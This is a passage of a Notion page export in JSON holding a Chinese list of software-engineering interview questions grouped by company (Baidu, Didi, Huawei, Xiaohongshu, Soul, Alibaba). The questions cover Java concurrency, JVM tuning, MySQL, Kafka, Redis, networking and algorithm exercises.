2,"last_edited_time":1712334693670,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e37a6356-4891-435f-a799-14dd4a23da3f":{"value":{"id":"e37a6356-4891-435f-a799-14dd4a23da3f","type":"bulleted_list","properties":{"title":[["List如何删除元素"]]},"created_time":1712329332912,"last_edited_time":1712334697270,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5acbc287-0466-42cd-8e56-76ac563fe5c7":{"value":{"id":"5acbc287-0466-42cd-8e56-76ac563fe5c7","type":"bulleted_list","properties":{"title":[["了解HashMap么"]]},"created_time":1712329332912,"last_edited_time":1712334702648,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f6ce1347-ae0d-43a8-9d41-08383789fbb2":{"value":{"id":"f6ce1347-ae0d-43a8-9d41-08383789fbb2","type":"bulleted_list","properties":{"title":[["HashMap为什么要用数组加链表的方式,这么做有什么优点"]]},"created_time":1712329332912,"last_edited_time":1712334704971,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7073ac3a-35fb-4b38-8baa-3d63cc9871c1":{"value":{"id":"7073ac3a-35fb-4b38-8baa-3d63cc9871c1","type":"bulleted_list","properties":{"title":[["哈希冲突的定义和解决方法"]]},"created_time":1712329332913,"last_edited_time":1712334709898,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"750eedf1-f4e5-4e72-acf8-1490fed105cd":{"value":{"id":"750eedf1-f4e5-4e72-acf8-1490fed105cd","type":"bulleted_list","properties":{"title":[["死锁产生的原因和解决办法"]]},"created_time":1712329332913,"last_edited_time":1712334712429,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"00f6211d-72b7-42c2-8761-65957aca85e2":{"value":{"id":"00f6211d-72b7-42c2-8761-65957aca85e2","type":"bulleted_list","properties":{"title":[["内存泄露的原因,并举几个例子"]]},"created_time":1712329332913,"last_edited_time":1712334714940,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2dcfe35a-5f40-40fb-b2d6-1dd6aea4c975":{"value":{"id":"2dcfe35a-5f40-40fb-b2d6-1dd6aea4c975","type":"bulleted_list","properties":{"title":[["volatile的作用及其应用场景"]]},"created_time":1712329332914,"last_edited_time":1712334717095,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3fbba6e5-4a3b-4383-ac36-b5f83d529252":{"value":{"id":"3fbba6e5-4a3b-4383-ac36-b5f83d529252","type":"bulleted_list","properties":{"title":[["写一个快排"]]},"created_time":1712329332914,"last_edited_time":1712334721296,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f09d3f95-e3f3-4a9b-b3f4-c03b38d49cac":{"value":{"id":"f09d3f95-e3f3-4a9b-b3f4-c03b38d49cac","type":"bulleted_list","properties":{"title":[["sdk的封装了解么"]]},"created_time":1712329332915,"last_edited_time":1712334733956,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fe11ce3b-d95c-42f2-ad24-933dca8c2542":{"value":{"id":"fe11ce3b-d95c-42f2-ad24-933dca8c2542","type":"bulleted_list","properties":{"title":[["进程和线程的区别"]]},"created_time":1712329332915,"last_edited_time":1712334736515,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9edd06f4-8663-4919-b368-f1bc37dd0dcc":{"value":{"id":"9edd06f4-8663-4919-b368-f1bc37dd0dcc","type":"bulleted_list","properties":{"title":[["进程调度算法"]]},"created_time":1712329332916,"last_edited_time":1712334738689,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4c4847b4-6d8f-4761-9402-492c5e81cd6a":{"value":{"id":"4c4847b4-6d8f-4761-9402-492c5e81cd6a","type":"bulleted_list","properties":{"title":[["操作系统分配的进程空间是怎样的?线程能共享哪些"]]},"created_time":1712329332916,"last_edited_time":1712334741073,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"94f9c3a5-ebfb-4d37-9324-47637ee64f57":{"value":{"id":"94f9c3a5-ebfb-4d37-9324-47637ee64f57","type":"bulleted_list","properties":{"title":[["如何保证线程安全"]]},"created_time":1712329332916,"last_edited_time":1712334745229,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2e68994a-2c4e-4860-ab96-dcee9b975ebd":{"value":{"id":"2e68994a-2c4e-4860-ab96-dcee9b975ebd","type":"bulleted_list","properties":{"title":[["线程池的创建方法"]]},"created_time":1712329332917,"last_edited_time":1712334749187,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"89874b2a-fee7-4d61-861a-0673120e3b57":{"value":{"id":"89874b2a-fee7-4d61-861a-0673120e3b57","type":"bulleted_list","properties":{"title":[["static、final、static final的区别"]]},"created_time":1712329332917,"last_edited_time":1712334751057,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a8e6b9d2-2947-4288-b2fb-d9a4ac99d51f":{"value":{"id":"a8e6b9d2-2947-4288-b2fb-d9a4ac99d51f","type":"bulleted_list","properties":{"title":[["反射的定义和作用"]]},"created_time":1712329332917,"last_edited_time":1712334754820,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e0488756-cf6c-441d-966a-673a3fff1139":{"value":{"id":"e0488756-cf6c-441d-966a-673a3fff1139","type":"header","properties":{"title":[[" 24.百度"]]},"created_time":1712334830401,"last_edited_time":1712335159783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"3641c0f7-40e0-4e06-8a3a-14f6e3e676f2":{"value":{"id":"3641c0f7-40e0-4e06-8a3a-14f6e3e676f2","type":"bulleted_list","properties":{"title":[["单例模式的应用场景"]]},"created_time":1712329332922,"last_edited_time":1712334847092,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"da07ab38-6447-44ef-a2f5-a65c475cf88a":{"value":{"id":"da07ab38-6447-44ef-a2f5-a65c475cf88a","type":"bulleted_list","properties":{"title":[["说说二叉树这种结构么"]]},"created_time":1712329332923,"last_edited_time":1712374406028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"064f8292-7db8-4001-998a-114dc8d4ee74":{"value":{"id":"064f8292-7db8-4001-998a-114dc8d4ee74","type":"bulleted_list","properties":{"title":[["104.二叉树的最大深度。"]]},"created_time":1712329332923,"last_edited_time":1712374442649,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f499ba91-093a-42bc-a497-1b177bb17299":{"value":{"id":"f499ba91-093a-42bc-a497-1b177bb17299","type":"bulleted_list","properties":{"title":[["面试题 08.08.有重复字符串的排列组合:剪枝"]]},"created_time":1712329332924,"last_edited_time":1712374447267,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"432b1bd1-5f05-41f5-bf89-46ad5101b46c":{"value":{"id":"432b1bd1-5f05-41f5-bf89-46ad5101b46c","type":"bulleted_list","properties":{"title":[["关于排列组合的题目,推荐一下2021秋招算法总结1-DFS篇,里面按类包含了大量可以用,但不限于用DFS求解的题目,方便大家对此类问题树立一个基本的解题思路。"]]},"created_time":1712329332924,"last_edited_time":1712329332924,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"66ddded9-0d70-40a1-9283-b3066e67d47e":{"value":{"id":"66ddded9-0d70-40a1-9283-b3066e67d47e","type":"bulleted_list","properties":{"title":[["常见的APP中有这么一个功能:每一个可以上下滑动,其次左右滚动时候可以在多个页面之间进行切换,如果让你写这个app,你会用哪些控件去实现。"]]},"created_time":1712329332925,"last_edited_time":1712374450639,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d80ed94e-0550-48ac-bb9e-ca13ce82aced":{"value":{"id":"d80ed94e-0550-48ac-bb9e-ca13ce82aced","type":"bulleted_list","properties":{"title":[["你说用ReycclerView是放在上下滑动时还是左右滑动时"]]},"created_time":1712329332925,"last_edited_time":1712374452822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5b6d37c1-ebad-4535-9065-40b9164269c9":{"value":{"id":"5b6d37c1-ebad-4535-9065-40b9164269c9","type":"bulleted_list","properties":{"title":[["单个分栏中如何实现上下页的切换。"]]},"created_time":1712329332926,"last_edited_time":1712374486732,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c5b7f106-3238-4493-bb0c-93d3c495b8ca":{"value":{"id":"c5b7f106-3238-4493-bb0c-93d3c495b8ca","type":"bulleted_list","properties":{"title":[["全排列的思路"]]},"created_time":1712374486732,"last_edited_time":1712374489408,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"6c764143-e26a-4124-9bf1-221b1d937c8c":{"value":{"id":"6c764143-e26a-4124-9bf1-221b1d937c8c","type":"text","created_time":1712329332927,"last_edited_time":1712374493012,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c5ba0d7a-48bd-45c0-97a0-aef3f2789d37":{"value":{"id":"c5ba0d7a-48bd-45c0-97a0-aef3f2789d37","type":"header","properties":{"title":[["25.滴滴"]]},"created_time":1712329332929,"last_edited_time":1712375010726,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8287704c-8e8d-4fd1-a5cc-ddf75b2dc4e6":{"value":{"id":"8287704c-8e8d-4fd1-a5cc-ddf75b2dc4e6","type":"bulleted_list","properties":{"title":[["剑指 Offer 24. 反转链表"]]},"created_time":1712329332929,"last_edited_time":1712374500764,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2dbef498-35a2-4eee-b082-4de5696d44fc":{"value":{"id":"2dbef498-35a2-4eee-b082-4de5696d44fc","type":"bulleted_list","properties":{"title":[["剑指 Offer 25. 合并两个排序的链表"]]},"created_time":1712329332930,"last_edited_time":1712374504059,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ee06006d-79ed-4271-b91b-5b75c520afcd":{"value":{"id":"ee06006d-79ed-4271-b91b-5b75c520afcd","type":"bulleted_list","properties":{"title":[["http和https的区别"]]},"created_time":1712329332931,"last_edited_time":1712374513301,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c58e877c-9860-4421-b2c8-3a6febec907f":{"value":{"id":"c58e877c-9860-4421-b2c8-3a6febec907f","type":"bulleted_list","properties":{"title":[["TCP与UDP区别"]]},"created_time":1712329332931,"last_edited_time":1712374517356,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"13203c12-bf0f-492c-9560-54761da56e48":{"value":{"id":"13203c12-bf0f-492c-9560-54761da56e48","type":"bulleted_list","properties":{"title":[["TCP流量控制"]]},"created_time":1712329332931,"last_edited_time":1712374519680,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9f54bbdf-f1be-429b-a6cc-b2ee982dfd20":{"value":{"id":"9f54bbdf-f1be-429b-a6cc-b2ee982dfd20","type":"bulleted_list","properties":{"title":[["Cookie与Session的作用与原理"]]},"created_time":1712329332931,"last_edited_time":1712374522808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"18b2a0b6-386a-4062-9a36-8e3f7f957d29":{"value":{"id":"18b2a0b6-386a-4062-9a36-8e3f7f957d29","type":"bulleted_list","properties":{"title":[["进程和线程的区别"]]},"created_time":1712329332932,"last_edited_time":1712374526825,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"14b7bb9c-303f-4226-abc6-58e002ea2fde":{"value":{"id":"14b7bb9c-303f-4226-abc6-58e002ea2fde","type":"bulleted_list","properties":{"title":[["进程间通信方式"]]},"created_time":1712329332932,"last_edited_time":1712374529633,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1643b565-b08d-4f04-b9a7-19cdc756008f":{"value":{"id":"1643b565-b08d-4f04-b9a7-19cdc756008f","type":"bulleted_list","properties":{"title":[["多线程里的关键字"]]},"created_time":1712329332932,"last_edited_time":1712374532958,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"11980e74-2e50-4758-8691-600404ac9e6f":{"value":{"id":"11980e74-2e50-4758-8691-600404ac9e6f","type":"bulleted_list","properties":{"title":[["synchronized应用场景"]]},"created_time":1712329332932,"last_edited_time":1712374554323,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"848ee080-7941-4b90-9821-f57784cd8bbd":{"value":{"id":"848ee080-7941-4b90-9821-f57784cd8bbd","type":"bulleted_list","properties":{"title":[["wait() 和 sleep() 的区别"]]},"created_time":1712329332933,"last_edited_time":1712374556984,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"62c6b2e1-e683-43a7-9eb7-bb8bc4b5a795":{"value":{"id":"62c6b2e1-e683-43a7-9eb7-bb8bc4b5a795","type":"bulleted_list","properties":{"title":[["Java内存回收机制"]]},"created_time":1712329332933,"last_edited_time":1712374560405,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1499b97f-739c-42f0-997b-8e2d1583c680":{"value":{"id":"1499b97f-739c-42f0-997b-8e2d1583c680","type":"bulleted_list","properties":{"title":[["垃圾收集器有哪些"]]},"created_time":1712329332933,"last_edited_time":1712374562948,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2753356e-fbf3-48aa-9d16-1691f3c3f01c":{"value":{"id":"2753356e-fbf3-48aa-9d16-1691f3c3f01c","type":"bulleted_list","properties":{"title":[["88. 合并两个有序数组"]]},"created_time":1712329332934,"last_edited_time":1712374566080,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"005c01b3-8d87-4bc7-ba30-9149e4dcebe9":{"value":{"id":"005c01b3-8d87-4bc7-ba30-9149e4dcebe9","type":"bulleted_list","properties":{"title":[["56. 合并区间"]]},"created_time":1712329332934,"last_edited_time":1712374568380,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"39e0bbce-a0d2-483c-bb94-70f7744dff3d":{"value":{"id":"39e0bbce-a0d2-483c-bb94-70f7744dff3d","type":"header","properties":{"title":[["26.华为"]]},"created_time":1712329332936,"last_edited_time":1712375012840,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bc475986-4145-4851-a6d6-3005973e1876":{"value":{"id":"bc475986-4145-4851-a6d6-3005973e1876","type":"bulleted_list","properties":{"title":[["深拷贝和浅拷贝的区别;"]]},"created_time":1712329332937,"last_edited_time":1712329332937,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"dcdfa9ce-6dcf-417c-860d-c73dce729930":{"value":{"id":"dcdfa9ce-6dcf-417c-860d-c73dce729930","type":"bulleted_list","properties":{"title":[["面向对象三要素;"]]},"created_time":1712329332938,"last_edited_time":1712329332938,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7efbef64-aef1-45d4-8558-95fbbd6a3a28":{"value":{"id":"7efbef64-aef1-45d4-8558-95fbbd6a3a28","type":"bulleted_list","properties":{"title":[["子类父类中静态代码、静态块以及构造器的加载顺序;"]]},"created_time":1712329332938,"last_edited_time":1712329332938,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"11a72d9e-4939-4afe-b4c9-196146e9a512":{"value":{"id":"11a72d9e-4939-4afe-b4c9-196146e9a512","type":"bulleted_list","properties":{"title":[["静态方法能不能访问普通变量,原因?"]]},"created_time":1712329332938,"last_edited_time":1712329332938,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d4a35c63-f4b2-4981-b2f8-d0a8bc9de58a":{"value":{"id":"d4a35c63-f4b2-4981-b2f8-d0a8bc9de58a","type":"bulleted_list","properties":{"title":[["项目介绍(存储相关)"]]},"created_time":1712329332938,"last_edited_time":1712329332938,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a83a7a8c-e850-408b-ab7c-f932a9f359c9":{"value":{"id":"a83a7a8c-e850-408b-ab7c-f932a9f359c9","type":"bulleted_list","properties":{"title":[["共享屏幕IDEA写题;"]]},"created_time":1712329332939,"last_edited_time":1712329332939,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2db03288-06fd-4505-a092-2503c9773e82":{"value":{"id":"2db03288-06fd-4505-a092-2503c9773e82","type":"bulleted_list","properties":{"title":[["Java中实现线程的几种方式?(Thread,Runnable,Callable)区别在哪?"]]},"created_time":1712329332939,"last_edited_time":1712374602451,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"297d8b74-56a6-4e0c-9aff-9ba0c59c32d5":{"value":{"id":"297d8b74-56a6-4e0c-9aff-9ba0c59c32d5","type":"bulleted_list","properties":{"title":[["文件系统中硬链接和软链接的区别;"]]},"created_time":1712329332939,"last_edited_time":1712329332939,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"631c2505-ce9d-450a-a521-a7196028aed6":{"value":{"id":"631c2505-ce9d-450a-a521-a7196028aed6","type":"bulleted_list","properties":{"title":[["文件修改后,软硬连接对应的数据会变化吗?"]]},"created_time":1712329332940,"last_edited_time":1712329332940,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d1429f3e-5477-4a28-8a6b-7d0bba0a190e":{"value":{"id":"d1429f3e-5477-4a28-8a6b-7d0bba0a190e","type":"bulleted_list","properties":{"title":[["机械硬盘和固态硬盘性能差异原因;"]]},"created_time":1712329332940,"last_edited_time":1712329332940,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4fa9c4ef-4bec-41fe-ac1a-bc46cad93478":{"value":{"id":"4fa9c4ef-4bec-41fe-ac1a-bc46cad93478","type":"bulleted_list","properties":{"title":[["问是否会C++?函数传参时引用和指针的区别;"]]},"created_time":1712329332940,"last_edited_time":1712329332940,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c9f3539c-a27d-4f61-b7e1-b11d576cf9b0":{"value":{"id":"c9f3539c-a27d-4f61-b7e1-b11d576cf9b0","type":"bulleted_list","properties":{"title":[["Java 中的方法是值传递还是引用传递; "]]},"created_time":1712329332940,"last_edited_time":1712374615403,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7ae9df88-175c-4465-9c72-ab8ae838a8e4":{"value":{"id":"7ae9df88-175c-4465-9c72-ab8ae838a8e4","type":"header","properties":{"title":[[" 27.小红书大数据"]]},"created_time":1712374615403,"last_edited_time":1712375019582,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"c1fa92c4-f367-495d-a3e4-eb5a7579139a":{"value":{"id":"c1fa92c4-f367-495d-a3e4-eb5a7579139a","type":"bulleted_list","properties":{"title":[["IO密级型的系统怎么设置堆内存大小?垃圾回收器怎么选择?"]]},"created_time":1712329332941,"last_edited_time":1712374919801,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"58e2bc7d-72c5-4fe4-b51a-a927614250a6":{"value":{"id":"58e2bc7d-72c5-4fe4-b51a-a927614250a6","type":"bulleted_list","properties":{"title":[["多线程,数字处理到10位处理,然后循环处理,怎么做?"]]},"created_time":1712329332942,"last_edited_time":1712374921233,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5577d437-b3f0-43ae-9e89-46182f855913":{"value":{"id":"5577d437-b3f0-43ae-9e89-46182f855913","type":"bulleted_list","properties":{"title":[["mysql a b 字段索引,查询a=x,b=x会用到什么索引?如果想同时用到ab索引怎么做?"]]},"created_time":1712329332942,"last_edited_time":1712374924202,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7a31a88b-d83a-4fa9-a75a-157dc2563f1a":{"value":{"id":"7a31a88b-d83a-4fa9-a75a-157dc2563f1a","type":"bulleted_list","properties":{"title":[["oom怎么排查"]]},"created_time":1712329332942,"last_edited_time":1712374926875,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b8a65bf5-5b6f-4018-9aa6-466903a92145":{"value":{"id":"b8a65bf5-5b6f-4018-9aa6-466903a92145","type":"bulleted_list","properties":{"title":[["大数据flink,流式计算"]]},"created_time":1712329332942,"last_edited_time":1712374928235,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"efb9f6ea-45d3-4005-80c4-ca917c577e3a":{"value":{"id":"efb9f6ea-45d3-4005-80c4-ca917c577e3a","type":"header","properties":{"title":[["28.Soul"]]},"created_time":1712374932302,"last_edited_time":1712375022558,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"8ab7f5ad-6c44-427e-8d9b-25e02a04603e":{"value":{"id":"8ab7f5ad-6c44-427e-8d9b-25e02a04603e","type":"bulleted_list","properties":{"title":[["jvm设置哪些参数,xmx xms。给个物理内存,出场景让你设定jvm参数。g1和cms怎么处理在并发标记过程中误标的"]]},"created_time":1712329332943,"last_edited_time":1712374950565,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"158c0df1-9005-47b2-ba1b-fe843d74da5d":{"value":{"id":"158c0df1-9005-47b2-ba1b-fe843d74da5d","type":"bulleted_list","properties":{"title":[["说下mysql为什么用B+树,不用b树"]]},"created_time":1712329332943,"last_edited_time":1712329332943,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"893cd66b-56d9-4afa-919e-a3fdc4df25b7":{"value":{"id":"893cd66b-56d9-4afa-919e-a3fdc4df25b7","type":"bulleted_list","properties":{"title":[["innodb和myinsam引擎的区别。myisam适合用于哪些场景"]]},"created_time":1712329332944,"last_edited_time":1712329332944,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"469d6224-83d9-44f8-bb82-e1709ccecd8d":{"value":{"id":"469d6224-83d9-44f8-bb82-e1709ccecd8d","type":"bulleted_list","properties":{"title":[["当前读和快照读的原理,给一个场景让判断读到的结果。mysql的锁机制。gap锁怎么加的,gap锁会有什么问题?"]]},"created_time":1712329332944,"last_edited_time":1712329332944,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6768684a-74d0-4390-9831-ec26b9511c72":{"value":{"id":"6768684a-74d0-4390-9831-ec26b9511c72","type":"bulleted_list","properties":{"title":[["mysql的sql优化,你看哪些参数。"]]},"created_time":1712329332944,"last_edited_time":1712329332944,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"86abe97b-403e-48be-9f08-32631cb39fa0":{"value":{"id":"86abe97b-403e-48be-9f08-32631cb39fa0","type":"bulleted_list","properties":{"title":[["kafka为社么快,面试官说是大部分顺序写磁盘,其余靠操作系统缓存。java哪个方法实现了零拷贝?"]]},"created_time":1712329332945,"last_edited_time":1712329332945,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c206190a-c7d6-4dfb-910e-f7bb9e6e0047":{"value":{"id":"c206190a-c7d6-4dfb-910e-f7bb9e6e0047","type":"bulleted_list","properties":{"title":[["kafka消费者挂掉会发生什么?什么情况下会出现?选举机制有没有了解过"]]},"created_time":1712329332945,"last_edited_time":1712329332945,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1923ad4a-9d2b-4491-9870-7a233b13cefc":{"value":{"id":"1923ad4a-9d2b-4491-9870-7a233b13cefc","type":"bulleted_list","properties":{"title":[["为每个线程创建一个单独的实例,怎么实现"]]},"created_time":1712329332945,"last_edited_time":1712329332945,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"08768b4e-a0b6-42ca-b004-57ee41dc3e1b":{"value":{"id":"08768b4e-a0b6-42ca-b004-57ee41dc3e1b","type":"bulleted_list","properties":{"title":[["并发synchozed和lock区别,synchized升级过程?偏向锁释放了,再来一个线程会变成轻量级锁吗?"]]},"created_time":1712329332945,"last_edited_time":1712329332945,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"22abf983-cfc2-486d-99f0-a50d30e5a3d1":{"value":{"id":"22abf983-cfc2-486d-99f0-a50d30e5a3d1","type":"bulleted_list","properties":{"title":[["如何停止一个线程,使用stop会有什么问题。"]]},"created_time":1712329332946,"last_edited_time":1712329332946,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7f985924-c47b-40e0-ba42-d93e87e6d1e6":{"value":{"id":"7f985924-c47b-40e0-ba42-d93e87e6d1e6","type":"bulleted_list","properties":{"title":[["合并两个有序链表"]]},"created_time":1712329332946,"last_edited_time":1712329332946,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f5722c2d-05b8-4915-8348-fc5bddf3efa2":{"value":{"id":"f5722c2d-05b8-4915-8348-fc5bddf3efa2","type":"bulleted_list","properties":{"title":[["es线程池参数设置调过没有"]]},"created_time":1712329332946,"last_edited_time":1712329332946,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"148b69c7-d036-4144-9552-c7f64c383c17":{"value":{"id":"148b69c7-d036-4144-9552-c7f64c383c17","type":"bulleted_list","properties":{"title":[["分库分表插件,原理了解过没有"]]},"created_time":1712329332946,"last_edited_time":1712329332946,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"aa487854-957a-4394-9366-f881aeca2d27":{"value":{"id":"aa487854-957a-4394-9366-f881aeca2d27","type":"bulleted_list","properties":{"title":[["redis线上问题遇到过没有"]]},"created_time":1712329332947,"last_edited_time":1712329332947,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c939f920-a54e-4bbc-be02-bbbc6623f7b6":{"value":{"id":"c939f920-a54e-4bbc-be02-bbbc6623f7b6","type":"bulleted_list","properties":{"title":[["redis rehash过程"]]},"created_time":1712329332947,"last_edited_time":1712329332947,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"beb647ab-926b-4f68-9d97-740bcb711eff":{"value":{"id":"beb647ab-926b-4f68-9d97-740bcb711eff","type":"bulleted_list","properties":{"title":[["dobbo用过没有"]]},"created_time":1712329332947,"last_edited_time":1712329332947,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2e59fec9-8329-4e67-9e1e-c018c07876b6":{"value":{"id":"2e59fec9-8329-4e67-9e1e-c018c07876b6","type":"bulleted_list","properties":{"title":[["为什么有rpc调用"]]},"created_time":1712329332947,"last_edited_time":1712329332947,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"109b63b5-5842-473f-a30c-60e4ccd68597":{"value":{"id":"109b63b5-5842-473f-a30c-60e4ccd68597","type":"bulleted_list","properties":{"title":[["实现查找附近的人,你怎么设计"]]},"created_time":1712329332948,"last_edited_time":1712329332948,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"60cdf09e-1d17-469e-b830-697818622698":{"value":{"id":"60cdf09e-1d17-469e-b830-697818622698","type":"header","properties":{"title":[["29.阿里"]]},"created_time":1712329332948,"last_edited_time":1712375027201,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ig